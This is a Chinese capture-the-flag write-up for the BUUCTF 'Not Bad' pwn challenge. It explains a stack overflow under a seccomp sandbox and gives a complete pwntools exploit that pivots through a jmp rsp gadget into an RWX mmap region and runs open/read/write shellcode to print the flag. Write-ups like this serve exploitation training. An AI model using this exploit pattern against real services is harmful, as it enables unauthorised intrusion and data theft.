BUUCTF [极客大挑战 2019]Not Bad

拿到题目放入ida,看看有什么函数

BUUCTF [极客大挑战 2019]Not Bad_第1张图片

BUUCTF [极客大挑战 2019]Not Bad_第2张图片

BUUCTF [极客大挑战 2019]Not Bad_第3张图片

 在main看到这两个比较有用的函数,第一个函数一眼看过去就发现是有沙箱保护的,第二个函数就是正常的栈溢出函数,我们先看看程序开了什么保护

BUUCTF [极客大挑战 2019]Not Bad_第4张图片

BUUCTF [极客大挑战 2019]Not Bad_第5张图片 

 什么都没开,只有沙箱保护,我们只能利用read,write,和open来攻击,也就是orw攻击,但是栈空间太小了,可能不好构造rop,在main中有一个mmap函数,给我们开辟了一个0x1000的可读可写可执行的栈,所以我们只要把shell写入mmap中在迁移到mmap就可以了。以下是第一个payload

payload=asm(shellcraft.read(0,mmap,0x100))+asm("mov r15,0x123000;call r15")
payload=payload.ljust(0x28,b"\x00")+p64(jmp_rsp)+asm("sub rsp,0x30;call rsp")
p.send(payload)

 因为程序中自带了一个jmp esp的指令所以我们很容易直接跳转到栈上来执行rop,这里解析一下asm(mov r15,0x123000;call r15)这里其实用r15或者rax任何一个寄存器都可以,除了rsp rbp rip,

再之后我们构造一下orw的payload。

orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
shellcode=asm(orw_payload)

 我们直接open根目录下的flag,然后把flag的内容读入到mmap中,再用write打印处mmap的值,这里解释一下为什么fd为3,因为我们是打开文件进行读入,0,1,2分别是标准输出,标准输入,标准错误,所以3之后才是打开文件的顺序,所以我们写上3.以下是完整的exp

from pwn import*
p=remote('node5.buuoj.cn',25878)
context.arch='amd64'
#p=process("./bad")
p.recvuntil(b"Easy shellcode, have fun!\n")
jmp_rsp=0x400a01
mmap=0x123000
payload=asm(shellcraft.read(0,mmap,0x100))+asm("mov r15,0x123000;call r15")
payload=payload.ljust(0x28,b"\x00")+p64(jmp_rsp)+asm("sub rsp,0x30;call rsp")
p.send(payload)
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
shellcode=asm(orw_payload)
p.send(shellcode)
p.interactive()

 也是第一次做到沙箱的题,也熟练了一点orw的攻击方式。

你可能感兴趣的:(安全)